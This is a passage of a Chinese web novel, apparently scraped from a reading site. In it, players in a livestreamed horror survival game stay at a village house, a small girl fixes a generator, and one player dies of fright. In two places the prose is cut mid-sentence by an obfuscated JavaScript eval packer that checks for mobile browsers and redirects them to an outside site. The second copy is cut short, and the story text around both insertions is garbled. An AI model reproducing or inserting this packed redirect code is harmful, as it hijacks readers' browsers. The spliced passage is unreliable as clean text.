邬纵两根手指敲了敲桌子,没看他:“我们的职责是,阻止玩家在游戏中开展任何形式的蓄意破坏,造成游戏失败结果,至于阻止的方式……” 蒋明野接道:“我看你们几个,分裂玩家倒是有一手,队长,分裂玩家,算不算蓄意破坏?” 被他这么一说,王密有些扛不住了:“我只是嘴上说说而已,又没真的这么干了,什么分裂玩家,别给我扣大帽子。” 徐望舒收起了笑容:“大家都是有着共同目标的玩家,更应该守望相助。我们要做的是通关,减少死亡率,现在多出一个玩家,丢下她不管,你们觉得就是安全的吗?那如果让你们落单呢?” 他们不说话了。 邬纵:“现在最重要的事,是勘察周围的环境,还有,寻找还没跟我们汇合的四个人。” 这下其余人都不敢有异议了。 就在这时,浴室里突然传出了阵阵焦急的叫喊声。 邬纵与徐望舒赶了过去,在门口停下。 徐望舒问:“明澄!怎么了?” “快救救我!水管里住着蟑螂一大家子!” 他们松了口气。 后边的王密嘟囔:“我就说小孩子拖后腿吧,不过是几只蟑螂而已,吓成这样,不知道的还以为是水管里有一大把女人头发呢。” 视线对上对面悠哉坐着的蒋明野,他闭上了嘴。 徐望舒在门前指挥:“明澄,别怕,放松,离水管远点,先把身体擦干,把衣服穿好。” 外头有大人,明澄就安心多了,乖乖地把衣服穿好,再把门打开。 水池底下的那只娃娃已经不见了,水管也已经恢复了正常,除了角阀有些松。 徐望舒敲了敲,没发现什么蟑螂,“别怕,蟑螂应该已经跑了。” 邬纵视线下移,捡起了地上的一把扳手。 明澄忙跑过去,“叔叔,这是我的。” 刚才一害怕,手松了。 徐望舒看着扳手,实在想不出来她刚才把这玩意藏到哪儿了,只好作罢,轻声说:“这个很危险,小孩子不能随便玩。” 明澄极认真地反驳:“玩?不,叔叔,这可是我吃饭的家伙什。” “……” 总觉得这孩子的智商忽下忽上的。 有时候真想见见她的师父,是如何教得她坚定不移地拥护自己当蓝领的梦想的。 但想了想,换个角度看,这倒也算是一样防身的东西,于是他点点头:“那明澄要收好,不要伤到自己。” “好。” “怎么了?怎么都站在这儿?”李大爷和李晓阳都被吸引了过来。 “没什么,明澄说在浴室里看到蟑螂了。” 李大爷愣住,纳闷:“我家有蟑螂?怎么从来没见过啊。” 于是明澄一脸惊魂未定地向他描述了一遍刚才的惊险时刻,手舞足蹈演示:“……就是这样的。师父说,蟑螂都会伪装成头发出现,但是我一眼就看出来了,那就是蟑螂。” 徐望舒忍不住戳了戳她的脸:“怎么看出来的?” 她骄傲地昂起下巴,眯起眼:“因为头发不会动,蟑螂才会动。” 徐望舒摸摸她的头:“明澄真聪明。” 说完停了一下。 总觉得她的这个结论放在这个副本里好像有个bug。 正想着,直播间的评论区已然陷入了混乱: 【死了!死了四个!】 【那四个落单的玩家的直播间全都黑了!】 【完了,状况这么多,这个副本凶多吉少了。】 邬纵等人的耳边也同步听到了游戏通知: 【目前已死亡人数:4人。希望剩余玩家再接再厉,争取团灭~】 没有与他们在同一地方登入的四个玩家,他们原本计划寻找的,现在全都死了。 自从来到这个世界,除了邬纵那边最初被李晓阳为难过,在南湾登入的一行人的体会都很安宁,没有丝毫危险的预兆,谁知死亡就这么突如其来降临了。 刚才还被明澄逗笑的众人都沉下脸来。 明澄不解这些大人怎么突然变了脸色,观察着他们。 还是毫无所觉的李大爷先开口:“回头我再来瞅瞅哪有蟑螂,晚饭已经做好了,快来吃吧,饭马上凉了。” 调整好表情,几人走出了浴室。 李晓阳跟李大爷去端菜,明澄也想帮忙,不过李大爷没让,慈爱地给了她一个西红柿让她啃,剩下的人一边摆着碗筷,一边低声交流。 “也不知道他们是怎么死的。” “刚进游戏的时候还以为最可怕的是那个幸福小区,结果主战场居然是这里。” 几人现在只庆幸运气好,落单的不是自己。 “一次死四个,还是同时,他们肯定是触发了什么忌讳吧?” 徐望舒开口:“有个问题,我们还没有讨论过——这次进入副本的玩家,全是男性。” 刚说完,他们默默将目光投向了正在津津有味啃着西红柿的明澄。 “除了她。” 评论区针对明澄的存在也展开了激烈的交锋: 【刚才还觉得王密太无情,现在看来他才是对的!不抓紧处理可能存在的负面因子,难道还开开心心带着孩子去郊游吗??这是生存游戏,会死人的!】 【还以为邬纵他们有多强,一群狗屎圣父,成不了大事。】 【[发起投票]反正我是支持抛掉那个小累赘,已经死了四个了,二十人的副本,百分之六十的划线,最多只能死八个人!才来一个晚上,现在指标就已经满一半了!】 【而且我之前就在他们的直播间,根本没看清他们怎么死的,肯定是鬼打墙,莫名其妙就迷了路,莫名其妙就触发了鬼怪,莫名其妙就死了。】 【都冷静点,既然这个小尼姑误入游戏成为了玩家,那应该也在划线范围之内吧?她要是死了,不是也会导致玩家的整体生存率下降?更何况那可是一条人命,在没有走投无路的情况下,正常人怎么主动放弃啊?】 游戏外,方闻英早已经让人向游戏提出多条异议。 只是系统一直没有答复。 游戏里,好在看了三年的游戏直播,也算是见惯生死,大部分人已经从最初的震惊中缓过来了。 李晓阳不耐烦地催促:“都别站着了,吃饭吧。” 就在一行人都坐下来后,老人先端了碗饭,出了门。 见桌上的人奇怪,李晓阳解释:“我爸是出去喂猫了,附近野猫多,都是他在喂。” 陈州与邬纵对视一眼,问道:“对了,晓阳,一直没听你提起过你母亲?” 李晓阳看了他一眼,“我妈好多年前就去世了。” “啊,抱歉啊。” 他这回没有发难,陷入回忆:“我妈走得早,我爸后来也没再娶,其实我还有个姐姐,可惜工作的地方太远,也很久没回来了。” 他的脸上难得显现出愧疚神情,“我爸平时就一个人在家,只有过年才能见到我,偏偏小丽还闹脾气不愿意回来,打电话也不接。” 说到这里,李晓阳又有些生气了。 餐桌上有些沉默。 虽然已经没那么害怕了,但几个普通玩家一想到自己愁云惨淡的未来,都有些食不下咽。 李大爷喂完猫回到餐桌旁,发现他们一个个都没怎么动筷,不解:“怎么了,是我做的饭菜不合你们的口味?要是想吃什么就跟我说。” “没有没有,就是有些没胃口。” 李大爷咂了一声:“没胃口也要吃啊,我看是你们现在的年轻人过得太幸福,不懂饿的滋味。我们南湾村以前闹过饥荒,我经历过,最知道了,那滋味儿……” 发觉自己下意识说教太多,他识趣地停了下来,但还是劝道:“多吃点,你们看看,我还做了这么多菜,可不能浪费了。” 说着他无意中看向对面的明澄。 她正捧着大海碗,吃得脸也看不见:“……” 也太不浪费了。 大爷沉默了一下,“少吃点吧孩子,容易积食。” 明澄没有听到。 直到邬纵伸出手,盖在碗上。 明澄看了看他那张没什么表情的脸,徐徐放下了手,搭在膝盖上,怯生生问:“不可以吃了吗?” 他望着那双清澈的眼,还有嘴边的一粒米,一言不发又收回了手。 明澄欢呼一声,又端起了碗扒饭。 李大爷没再管,吃了几口,瞪了李晓阳一眼,语重心长道:“还有你,不要总跟老婆吵架,你说你,领完证就光支会我们一声就完事儿,连个婚礼都不给人家办,人家能乐意跟你长久?” 李晓阳的脸色有些不自在,“我也想办婚礼啊,那,那不是工作忙嘛,实在没时间。” 林小楠撇了撇嘴。 就看幸福小区那个环境,八成更多还是钱的因素。 不过他都说回去就想离婚了,婚礼可不就更不用办了。 “爸知道你争气,有主意,在大城市买房,也没让家里帮衬一分钱,但是对老婆可不能这么小气。我要是小丽也不愿意回来,你想想,回来之后让她看别的新娘子出嫁,她心里不难受?” 李晓阳对父亲很是孝顺,不管认不认可,他说什么都点头称是,没有半点恼意。 等吃过饭,外头的天已经黑透了,雨也越下越大,几近暴雨,这种环境下出门,恐怕危险性更大,于是众人原本的计划只好作废。 就在这时,邬纵突然开口:“伯父,还没到睡觉的时间,给我们讲讲村里的事吧?” 陈州反应很快,“是啊,我也挺感兴趣的,比如,这地儿有没有什么传说啊?” 李大爷纳闷:“你们这么突然一提,我一时也想不起来有什么传说,再说了,传说不都是假的吗?” 蒋明野抬头:“这里以前发生过饥荒?很严重吗?” 说到这个,李大爷起劲了:“就二十多年前的事,那会儿真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207429|181291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是惨,不过我们村还好,别的村那真是饿殍遍地,好几年都缓不过来。” 旁边的李晓阳动容:“我那时候年纪虽然小,但也还记得点,妈就是那会儿饿死的。” “是啊。”李大爷叹息一声,有些难过,随后抬脸,“哦,说到这个我想起来了,后山的那棵槐树倒是很有些神性,饥荒那会儿,居然还一直长着槐花,吃完就长,吃完就长,就是靠着那棵树,我们村的人才活下来的。别的传说不一定是真的,但那棵树真是我们的救命树。” 李晓阳也一时出神,大概是沉浸在小时候的记忆中。 林小楠对槐树不感兴趣,左右看看,突然一惊,指着窗外,“那是什么啊!” 一群人里只有他对着窗户,其他人都没有看见,此刻窗外也没什么异常,只有如常的风雨交加。 “你是不是精神太紧绷,看错了?” “肯定没有!真的有东西从窗外闪过!” “你说得怪吓人的。” 就在这时,窗外闪过一道光,一声雷鸣擦过,响得所有人心里一突,紧接着视线便是骤然一暗。 屋子里骚动起来。 “怎么搞的?” “怎么了,是停电了吗?” “不会真的有鬼……” “都闭嘴!”蒋明野音量微提,总算制止了七嘴八舌。 李大爷抱歉道:“我们这儿到了下雨就总容易停电,实在不好意思啊各位客人,不过房间里都有蜡烛,要充电的话,家里还有台发电机一直备着呢,我现在去拿。” 众人冷静了下来,屋子里一片寂静,只有林小楠一直记挂着刚才看到的东西,心神不宁。 “啊!”王密突然也惊叫出声,将旁边的李晓阳吓了一跳,“你又叫什么?” 他指着窗户哆哆嗦嗦:“那儿!” 随即接二连三的低呼声响起。 窗户上,紧贴着一双暗绿的瞳孔,犹如两簇鬼火明灭闪烁。 李晓阳定睛一看,并不惧怕,径直过去打开了窗户,“有什么好怕的,是只猫,下雨了来这儿躲雨呢。” 众人这才看清,那是只通体全黑的猫。 想到自己刚才的尖叫,王密的脸上闪过一丝羞恼。 林小楠倒是松了口气,那他刚才看到的影子,应该也是猫吧。 李晓阳刚伸出手,猫又从窗台上跳了下去,跑开了。 他抬头看了眼窗外的雨,脸也如天空般黑沉沉的。 李大爷已经取来了发电机,放到阳台,将窗户开了条缝。 张立新林小楠几人没见过发电机,好奇地围在旁边碰了碰。 李大爷笑笑:“别急,马上就有电了。” 待机子启动预热后,他先将一盏落地灯的插头连上了发电机。 可没有任何动静。 “咦?” 检查了一下,燃油阀和阻风门应该没问题,柴油也够,可不管怎么拉绳,都没动静。 捣鼓了几下,李大爷放弃了,“也不知道是哪里坏了,要不明天再找人修修吧,刚好马上睡觉了,先委屈你们一阵子行不?” 众人也没办法说不,只得回到了屋子里。 窗外的雨声冲击着窗户,一阵又一阵,在静谧的环境里显得格外刺耳。 “刚才开着灯还不觉得,现在黑灯瞎火的,真是有点渗人。” “我手机已经没电了,真的没办法了吗?大爷,家里没有别的发电机了?” “没了,这玩意儿,普通人家也不可能多备是吧?” 众人沉默。 身处游戏里,没有电的夜晚,总觉得格外危险。 同一时间,阳台方向又传来了窸窸窣窣的声音,他们警惕地看了过去。 “应该是,猫又回来了吧?” 就在这时,徐望舒的声音响了起来:“明澄呢?” 邬纵和陈州打开手机的手电筒,看了眼四周,果然不见那颗小白煮蛋。 刚才一直没顾得上她,她个头又小,也不知道是什么时候不见的。 “不会是追着猫跑出去了吧?”王密呵了一声,“事实证明,我对那个小拖油瓶的判断是正确的。” 【哈?这停电正担心团灭呢,所以现在还得出去找她??】 【小孩就是很麻烦的,越来越觉得王密有远见了,就该让她自己待着去!】 【没错,现在就开始拖后腿了……】 他们正要寻找,“叮、咚”,“叮、咚”,某种有规律的动静响起,又是来自阳台。 胆小点的都下意识退到了沙发背后。 手机的灯光照过去,出现了熟悉的反光。 邬纵几人再仔细看去,明澄正蹲在阳台,刚才反光的正是她的头。 “她怎么跑去阳台了?” “不会是觉得新奇,去玩儿发电机了吧?” 众人忙走到阳台:“明澄,发电机可不能玩!” “孩子,很危险的!别碰!” 可手电筒下,明澄满手脏兮兮的柴油,只是肃着张小脸拧上顶盖的螺丝,并不理会他们的制止。 唯有王密冷笑一声,“哟,架势还挺足,不知道的还以为你把发电机修好了呢。” 话音刚落,发电机响起运转声,灯亮了。 “……” 8. 第 8 章 王密看看轰鸣运转的发电机,看看灯,再看看一脸欣慰的明澄,五官抽搐了一下。 明澄:“叔叔,你是第二个跟我有默契的叔叔。” “谁特么跟你有默契了??” 玩家们刚才相劝的声音和满屏的吐槽评论都停住了。 【不是,真修好了?】 【脸有点疼……】 【额,应该是巧合吧?】 【怎么有那么一点点可爱,王密在嘲讽她,她转头把王密当成了知己,拳头打在棉花上。】 李大爷挤开人群,“让我来瞧瞧。嘿,还真是好了。” 他稀罕地看向明澄:“孩子,真是你修的?” 明澄点点头,“爷爷,是里面的活塞卡住了。” 玩家们还回不过神,眼睁睁看着她一把把捡起地上散落的工具。 徐望舒蹲下来,拿纸给她擦了擦手,“明澄很厉害。” 明澄抿着嘴,晃了晃脑袋,大眼睛自以为隐晦地看了眼周围。 考核老师一定也在看着她。 人群分开一条道,看着徐望舒带她去洗手。 接着窃窃私语:“不是吧,现在的国际幼儿园还教这个?” “你们还真信,来到游戏里,脑子也不正常了?被她传染了?”王密翻了个白眼,“一个小孩,怎么可能真的会修发电机啊?误打误撞罢了。” 他们半信半疑,主要是她的动作实在娴熟,看上去怎么也得有几年工龄了。 但以他们正常人的思维,还是逐渐偏向了王密的观点。 拧螺丝不算什么技术活,至于什么活塞,应该只是刚好碰到了吧? 就着一点光亮,徐望舒给明澄的手打上肥皂搓洗。 明澄对那边的水管还有些阴影,小手伸在水池边,屁股却快要撅到门边,离水管远远的。 徐望舒忍不住笑,“再过来一点。” 明澄甩甩头。 “好吧。” 他洗着手,问她:“明澄是想做个修理工吗?” 明澄凝神想了想,举棋不定的样子。 徐望舒很耐心:“为什么拿不定主意?如果你想,那做个修理工也很好,不用担心别人的看法,要知道,三百六十行——” 明澄:“因为我也想当厨师当理发师当园艺师想开挖掘机修汽车看仓库搞养殖……” 徐望舒:“——行行都有你。” 第一次见到职业规划能构成一张商业版图的孩子。 思来想去,职业单一的他好像也给不出什么人生建议,沉默着继续给她洗手。 明澄看着自己的手,对徐望舒的好感又上升了一点,因为他洗手跟她自己一样细致。 等手上干干净净的了,他又仔细地给她擦干,接着将肥皂放回去,毛巾整理好。 明澄则跑了出去,继续去收自己的工具。 徐望舒将所有东西放回原位,也走了出去,邬纵正站在外面。 徐望舒第一句话便是:“我现在真有点相信发电机是明澄修好的了。” 邬纵笑了一下,“不管是不是,现在其他人对她的抵触都消了一些。” 徐望舒垂眸,“其实明澄很乖,也懂事,既不会乱跑,也没搞砸过什么事。” 他们都清楚,游戏里的几个玩家都对明澄的留下表现出了反对,游戏外,现实中的人们恐怕情绪更重。 这句话也是说给外界的人听的。 邬纵看了眼外面的雨,不知道什么时候能停。 又看向后面的湖,水位相比他们来时,似乎有些涨了。 徐望舒敛起笑,“我到现在还没有遇到真切的危险,可是队伍里已经死了四个。” 邬纵眼眸低垂,数秒后抬眼,“饥荒是个重要信息,明天出去问问。” “嗯,李晓阳说他经历过,这条信息就变得不同寻常了。” “来到这里之后,你还有见到他给他妻子打电话吗?”邬纵突然问。 徐望舒迟疑着回忆了一下,“应该没有,不过咱们与他毕竟不是一直在一起,他也有可能回自己的房里打了。你们跟他独处过,有什么问题吗?” “他的性格很怪异,喜怒无常。”邬纵看向李晓阳房间的方向:“本来回家后趋于正常了,但雨下大后,他好像有些焦虑。” 正说着,两人看到蒋明野去阳台抽烟。 紧接着明澄也走了过去。 她在地上找了找,抬头问:“叔叔,你看到我的螺丝刀了吗?” 随后盯着他手里那根还没点燃的烟。 蒋明野不耐烦地啧了一声,手却将烟塞了回去。 明澄依旧盯着他的手,“叔叔,抽烟不好。” “师父就说过最讨厌抽烟的人。”那她也要讨厌。 他看了她几秒,嘴角一勾,叫了声:“小崽子。” 随后抬手指了指她脚边:“有蟑螂。” “蟑螂!”明澄几乎转瞬间就跳到了他腿上,睁大了眼慌忙寻找蟑螂的影子,脸上的软肉都在颤动。 蒋明野低头看着腿上沉甸甸的挂件,胸腔震动,脸上的笑有些恶劣又张扬。 两人望着这一幕,紧绷的面容松了下来。 徐望舒嘴角一扬,“明野已经很久没有这么笑过了。” 二人同时一顿。 “这句话说出来怎么感觉怪怪的。” 两人对视一眼,散了。 该是睡觉的时候,后来的一行人得分房间了。 李晓阳在一楼有自己的房间,剩下邬纵几人挑,而一楼已经没空房了。 首先需要考虑的就是明澄,一群人里,她明显跟徐望舒最为亲近。 徐望舒主动问:“明澄,可以接受跟叔叔一起住吗?叔叔打地铺。” 明澄却摇了摇头,“危险,明澄只能自己住。” “就是因为这里危险,所以才让明澄跟大人待在一起呀。” 明澄一本正经:“不,是明澄危险。” 然而这句话配上她肉乎乎的小脸蛋,毫无说服力。 【就这么个小不点,危险个屁。】 【对自己没有正确认知的小孩,还这也想当那也想干的,先活下去再说吧!】 一旁的张立新主动说:“那就把我的房间让给她吧。” 他的房间是之前就选好的,刚好最靠近徐望舒。 王密原本只是在旁围观,这会儿眼珠一转:“等会儿,你要把房间让出来?” “副本里人人平等,对吧?任何房间,谁都可以住,既然你要让,那我想住你那间。” 特殊小队的几人里,徐望舒最平易近人,自然谁都更想靠近他。 他也毫不掩饰自己对明澄的厌恶。 邬纵眯起眼。 明澄却突然主动说:“叔叔,不用了,我想自己住在二楼。” 王密立刻笑了:“你们看看,她自己都这么说了。” 仔细想想,邬纵和陈州都在二楼,有什么事找他们,同样可以帮她。 “那你的房间还让吗?”王密问张立新。 他无奈地笑笑:“你要实在想住就让给你吧,反正我是觉得,不管住在哪里都无法规避危险的。” 房间选好了,李大爷过来,乐呵呵地招呼了几句有事喊他。 临走前又交待了一句:“夜里可不要随便出去啊。” 他们立刻追问:“为什么?” 林小楠惊慌:“不会真有鬼吧?” 李大爷抬眼,一副有什么大惊小怪的表情:“我们这里靠山,虽然按理说,这年头山上应该没有什么野兽了,但还是得小心呐。” “这样啊。” 屋外风疾雨骤,但关上窗,还是可以入眠。 这个时间点,大部分人都去休息了,直播间也安静了下来。 一楼静悄悄的。 睡不着的王密睁开了眼,想到那个怪里怪气的小尼姑,还有徐望舒等人对她的维护,他冷哼了一声,翻了个身。 想着想着,突然觉得口渴。该死的小尼姑太能吃,气氛渲染得他不知不觉也吃多了。 房间里的水已经都被他晚上喝完了。 犹豫了一下,喉头的干渴还是让他打算去外面接水。 李老头说不要出去,但只是去最近的厨房,又没有离开这栋房子。 于是他走出了房间。 二楼的房间里,明澄揣着鼓鼓的小肚子躺在床上。 晚上浴室里的蟑螂让她有些担心,一骨碌爬起来,将整个房间都仔细检查了一遍。 没有蟑螂,却在地上看见了那个作为垃圾交给徐望舒的娃娃。 “咦。” 她捡起来看了眼,想了想,放到了床头。 等明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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月光倾泻进屋子,就在下方,一道模糊的影子拖着沉重的步伐消失在拐角。 明澄困惑地歪了歪头,回了房间。 房间里,不管是睡着还是没睡着的人,都听见了系统的播报:【目前已死亡人数:5人。希望剩余玩家再接再厉,争取团灭~】 玩家们失去了所有睡意,立刻翻身而起,在一楼汇合起来。 明澄刚回到房里,听到动静,也赶忙迈着短腿跟上,不明所以地看着他们检查人头。 很快他们便发现了失踪的王密,也发现他并不在房间里。 “他怎么回事啊?不是说了不能乱跑的吗?” “他还好意思说别人!” 他们纷纷咒骂。 蒋明野最先发现了李晓阳房外蜷缩着的身影。 章书后退了一步,“那不会是王密吧?” 邬纵走了过去,随后抬起头看向他们,肯定地点了下头。 王密的眼睛睁得大大的,脸色惨败发青,手臂微抬,死状可怖。 蒋明野检查着那具僵硬的尸体,眸子微沉。 林小楠不敢去看,咽了咽口水,“谁,谁会杀了他啊?” 邬纵瞥他一眼,吐出几个字:“他是被吓死的。” 四周顿时一静。 林小楠捂住了嘴,有鬼两个字卡在喉咙里吐不出来。 “我没听到王密出门的声音,可能是雨声太大了。”徐望舒皱眉。 邬纵先是敲了敲李晓阳房间那扇紧闭的门,随后站起身,扫了一眼出现在这里的人们,“晚上除了王密,还有谁出来过吗?” 或许会发现什么。 角落里的明澄听着他的话却怔住了。 随后,一只颤巍巍的小手举了起来:“我,我出来过。” 所有人朝她看了过去。 明澄揪着小手,眼里还含着两包泪:“是我把叔叔吓死了吗?” 邬纵:“……” 9. 第 9 章(二更合一) 邬纵手指动了动,敛眸,别过脸去。 【无语了她怎么这么可爱啊!!!小小一个喊着低价维修的时候我忍住了,捧着大碗好像在被饭吃的时候我忍住了,三百六十行,行行都有她的时候我也忍住了,但是现在我忍不住了!!!今天看到她心情就变好好,好想吸她!!!】 【铁血邬纵肯定也被可爱到了!!】 【王密虽然很讨厌,但他这么诡异地一死,本来我也快被吓死了,又特别担心游戏失败,结果她这话说完,瞬间不害怕了。】 【都冷静点吧,这么爱哭,再可爱也是个会拖后腿的小孩儿。】 蒋明野扫了一眼明澄,再看王密,那双三角眼睁得极大,直直瞪着门的方向。 他捏了捏眉心:“哭什么,人不是被你吓死的。” 明澄立马相信了,抹抹小眼泪儿。 邬纵转过脸来,看着她脸上的泪痕,尽量让语气温和:“明澄,你晚上出来,有看见什么吗?” 她旋即点头:“看到了。” 赵明明忙问:“是看到鬼了吗?” 明澄想了想,有些不太确定。 林小楠又抢着问:“有影子吗?” 这回她确定道:“有。” “那就是人了。” 就在这时,门开了。 李晓阳走了出来,揉着眼睛:“怎么了?吵吵闹闹的。” 无意中低头,看见了脚边诡异的尸体,他立时惊叫了一声:“这什么啊!” “王密死了。”邬纵沉声说。 “什么?” 邬纵仔细观察他怔愣的神情,看上去不似作伪。 他状似不经意撞了一下他,触感也一切正常,身体温热,呼吸匀称。 徐望舒突然问:“李晓阳,你平时会梦游吗?” 李晓阳心有余悸地拍了拍胸口:“从没听我老婆说起过啊,梦游,应该不会吧?” 蒋明野意味深长:“可王密在你的房间门口,被吓死了。” 李晓阳琢磨出味来,阴下了脸:“你这话是什么意思?不会是说我干的吧?我吓人吗?” 其他人瞧了他一眼。还好意思问,整个屋子就属他最吓人了。 徐望舒笑了笑:“当然不是,他只是随口一说。对了,你的房门,今晚一直是关着的?” 他的表情依旧阴仄仄的,看不出心虚与否:“那当然了,难不成,你们睡觉的时候开着门?” 【不对,直播里当时王密朝他房里看的时候,我记得他的门是没关的?他是在撒谎。】 【已经死五个了……进副本还没满一天呢,这个副本总共只能死8个人啊我的苍天……那四个人不知道为什么死,这次王密也不知道是被什么吓死,感觉处处都是雷。】 【这都什么国家队,连人都保护不好,净对着那个小鬼谄媚,呵[竖中指]】 【?有的人别太巨婴,王密的死不是自己作的吗?本来光是喝水根本不会有事,是他莫名其妙想去看李晓阳的房间才出事的哎!而且他先前坐车被李晓阳吓过,晚上被猫吓过,本来心脏就有点不太好了吧?说不定就是李晓阳梦游吓到他了。】 陈州走了过来:“我看了下,厨房里有倒水的痕迹,王密应该是出来喝水的,但喝完之后,他没有回房间。” 邬纵看着走廊。 从王密的房间到厨房是一条短直线,李晓阳的房间则在另一个角上,按理说他不应该跑到这个角。 一定是有什么吸引了他过来。 再看李晓阳愤怒的表情,从他这里是问不出什么了。 李晓阳看向邬纵,冷冷说:“是你们几个非说要来我家旅游的,王密也一直跟你们待在一起,他出事跟我有什么关系?这人一看就不像好人,我看别是他想出来偷东西,不小心死了还赖到我身上吧?” 他一脸厌恶:“怎么死我房间门口,真是晦气,快点抬走。” 赵明明插了一嘴:“抬哪儿啊?尸体放在屋子里,不会诈尸吧?” 其他人沉默了。 亲眼看到王密的死相,几人愈发深刻地意识到,这是一个灵异副本,那如果停放在这里,还真有可能会诈尸。 “爷爷来了?”明澄突然叫了一声。 其他人循声望过去。 李大爷不知何时出现了,正皱眉看着这里。 “伯父,我们一个朋友死了。” 他走了过来,看着王密的尸体,倒没有多害怕,“你们现在的年轻人啊,体质太差,我看啊,八成是熬夜猝死的。” “等雨小点,抬去后山上埋了吧。”他叹息一声:“以前饥荒年代,死了的人都是埋在那儿。” 数道视线投向他。 【后山,就是那四个人团灭的地方!】 “后山,有坟地?”林小楠悚然看向窗外,想要寻找那座山,只是雨太大,什么都看不清。 李大爷奇怪:“来之前不就跟你们说过吗?我们乡下就是这样,坟都填在山间田头。” 邬纵几人对视一眼。 “哦哦,我一时给忘了。”林小楠赶忙找补。 尽管走了报警的流程,但众人也知道,根据游戏的情况,在这段时间里根本不可能有警察来调查,于是同意了。 李大爷又长长地叹了口气,“对了,最近几天,这事儿可别声张出去。” “为什么?” 邬纵倒是想起,虽然他们来这里是旅游的,李晓阳回来却是为了看望父亲,还有参加婚礼。 “他堂哥马上要结婚了,出了这事,这不是晦气么。” 众人连连点头。 此时已是后半夜,刚出了人命,几人也睡不着了,只等着雨小下来,便都聚到了徐望舒的房间里等待。 徐望舒问:“明澄,你能辨认出看到的那个人是不是李晓阳吗?” 明澄摇了摇头,“我只看到了一个影子,不过……” 她想了想,描述:“影子矮矮的,方方的。” “我们几个人里,李晓阳最矮最胖。” “他说自己门一直是关着的时候我就觉得语气不太对,可如果真是他的话,他大半夜出门干什么呢,还把王密给吓死了?” 众人沉默思索着。 刚才周遭昏暗,现在天快亮了,窗外的光照进来,徐望舒突然盯着明澄的额头,伸手碰了碰:“这是什么。” 指尖出现了一点半干的红色。 明澄看了眼,原来她刚才没擦干净,为他解答:“是雨,天花板漏雨了。” 【雨……那真的不是血吗?】 【这小孩在房间里到底经历了什么啊??】 【话说这个小尼姑不也是玩家吗,怎么没有自己的直播间?】 其他人围过来一看,顿时倒吸一口凉气,“什么雨啊,明澄,这是红色的!” 明澄仔细一看,确实是红色的。 她凝神思索片刻:“我知道这种情况。” “这是因为雨里有一种红色的藻类孢子。” 众人:“……” 徐望舒欲言又止:“不是在考你。” 【好根正苗红,好信奉科学一孩子,她到底知不知道自己正在一个恐怖游戏里啊!真不知道这是好事还是坏事。】 【还以为今晚的恐怖事件就王密那一桩,合着是发生了另一起但人家根本没意识到。】 【王密要是拥有这孩子的超绝钝感力,应该也不会死了……】 徐望舒深吸一口气,“带我们去你房间看看好吗?” “好。” 一行人来到了明澄的房间。 一进门就能看到,床头位置的天花板上有一块不规则的湿润形状,看上去确实像是漏雨了。 但再看明澄额头的浅红色,除了她,没人会觉得这真是红雨。 徐望舒的视线向下,突然在床头定格住。 一只普普通通的娃娃躺在那里,正是刚见到明澄时,从她手里拿过来的那只。 “明澄,那个娃娃为什么会在这里?” 明澄:“不是叔叔还给我的吗?” 他看了身后的邬纵几人一眼,压低声音:“我怀疑她跟上明澄了。天花板的异状,很可能就跟她有关。” 邬纵走了过去,将娃娃拿起来,“东西先放我这里。” 徐望舒点点头,“明澄,换个房间住吧。” 看着他们凝重的表情,明澄便没有说其实自己可以修补房顶。 跟李大爷提及要给明澄换一间房时,他们只说是因为漏水。 李大爷过去看了看,盯着那天花板好一阵,“行嘞,等回头我去瞧瞧。家里漏雨也不是一天两天了,反正房间多得是。” 此时雨也终于小了。 简单吃了点东西,他们准备动身去山上了。 商量之后,一行人分为了两拨。 邬纵,蒋明野和徐望舒带着一部分人去埋王密,探查后山,陈州则带着剩下的人去村子里看看能不能问到更多信息。 李晓阳昨晚说了晦气,今天也确实不打算跟过去,只有李大爷带路。 徐望舒他们毕竟只是游客,不像邬纵他们与王密是明面上的朋友,此时推说自己好奇,所以想跟去看看。 李大爷也没有提出异议,好像并不在意两方人到底是不是陌生人。 王密的身体僵硬,表情依旧如死时一般诡异,普通人看一眼就不敢多看。 几人将他抬上李大爷家里的板车,盖上了草席和棉被,准备出发,李大爷在前头带路。 徐望舒走了两步,觉得不对,往脚边一看,明澄正好整以暇地抱着一颗苹果跟着。 他停了下来,看向明澄:“明澄,你乖乖留在这里好吗?” 明澄抬眼:“我也想去送送王密叔叔。” 【你王密叔叔估计并不想让你送。】 “山上可能会很危险,你待在这里会安全些。” 明澄知道他是为自己好,失望地低下头,“那好吧。” 随后不舍地后退了一步,准备回去。 突然,她脚后跟踢到了什么东西,扭过头一看,熟悉的长发娃娃映入眼帘。 鲜红的唇角微笑着,黑色的眼睛空洞地盯着她。 邬纵眼皮一跳,立刻摸向自己的口袋,里头果然已经空了。 徐望舒说得没错,这个娃娃跟上了第一个捡起她的人。 不论任何人,都无法将之分离。 蒋明野眯了眯眼,“让这小崽子跟着我们吧。” 他下巴抬起,指着一个方向,“李晓阳也在家,恐怕这里没有你们想象的这么安全。” 两人对视一眼,最终还是带上了明澄。 一行人推着板车出发了。 去后山的路上没遇到什么人,李大爷说,一般他们也只有祭拜的时候才会走这边。 没过多久,众人就看到了一棵枝繁叶茂的槐树,树围很粗,应该在这里不少年了。 【我看过直播,那四个人登入游戏的地方就是在这里!在槐树下!没过多久就死了!】 “这就是您说的那棵树?” “是啊。” 林小楠跟章书嘀咕:“一般在灵异副本里,槐树为鬼,不都是不祥的象征吗?” 他下意识离远了些,虽然这棵树其实没给他带来什么阴森的感觉。 李大爷摸了摸树干,“你们别看它现在看上去普通,但当时是实打实的出现了神迹。” 说完,他收回感叹:“行了,时候不早了,咱们快走吧。” 